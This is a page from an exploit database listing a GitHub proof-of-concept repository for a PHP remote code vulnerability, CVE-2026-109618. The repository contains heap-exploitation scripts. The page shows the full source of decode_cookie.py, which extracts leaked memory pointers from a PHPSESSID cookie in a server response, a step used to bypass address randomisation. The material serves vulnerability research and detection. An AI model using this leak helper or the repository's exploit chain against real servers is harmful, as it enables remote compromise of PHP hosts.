Exploit databaseDownload repository ZIP
GH-e79cbef95496708f0cc6093900833312
struttonpigeon/php2shell-detection-and-poc
Sources for CVE-2026-109618
412 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files29
struttonpigeon/php2shell-detection-and-pocRevision d2f1bc81d022
- ↑..Parent directory
- docker/
- RESEARCH_PURE_128M.md
- alloc_trace.gdb
- b_heap.gdb
- cache_list.gdb
- cheap_oom_a.py
- check_boundary.gdb
- check_id_boundary.gdb
- chunked_send.py
- decode_cookie.py
- delta_probe.gdb
- extract_offsets.sh
- fake_ref_b.py
- force_b.gdb
- force_watch_b.gdb
- mk_a1.py
- mk_b_min.py
- mk_flood.py
- mk_ht.py
- mk_leak_b.py
- pwn_pure.py
- read_state.gdb
- repro_pure.sh
- run_pure.sh
- slots4.gdb
- slots4b.gdb
- slots4cb.gdb
- state.gdb
- watch_md.sh
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
pure/decode_cookie.py
Python · 787 bytes#!/usr/bin/env python3
import sys, urllib.parse, struct
from collections import Counter
raw = open(sys.argv[1], "rb").read()
i = raw.find(b"Set-Cookie: PHPSESSID=")
if i < 0:
print("no_cookie resp=%d" % len(raw)); raise SystemExit(1)
v = raw[i + len("Set-Cookie: PHPSESSID="):].split(b"\r\n")[0]
dec = urllib.parse.unquote_to_bytes(v.decode("latin1"))
c = Counter(); first = {}
for off in range(0, len(dec) - 8, 8):
q = struct.unpack_from("<Q", dec, off)[0]
if 0x7f0000000000 <= q <= 0xffffffffffff:
b = q & ~0x1fffff
c[b] += 1; first.setdefault(b, (off, q))
print("decoded=%d head=%r clusters=%d ptrs=%d" % (
len(dec), dec[:16], len(c), sum(c.values())))
for base, n in c.most_common(6):
print(" %#x : %d first_off=%#x" % (base, n, first[base][0]))